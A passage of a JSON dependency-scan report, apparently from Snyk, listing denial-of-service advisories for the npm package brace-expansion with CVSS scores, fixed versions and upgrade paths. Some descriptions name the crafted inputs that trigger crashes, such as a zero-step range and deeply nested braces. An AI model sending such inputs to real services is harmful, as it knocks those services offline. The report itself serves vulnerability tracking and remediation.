"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
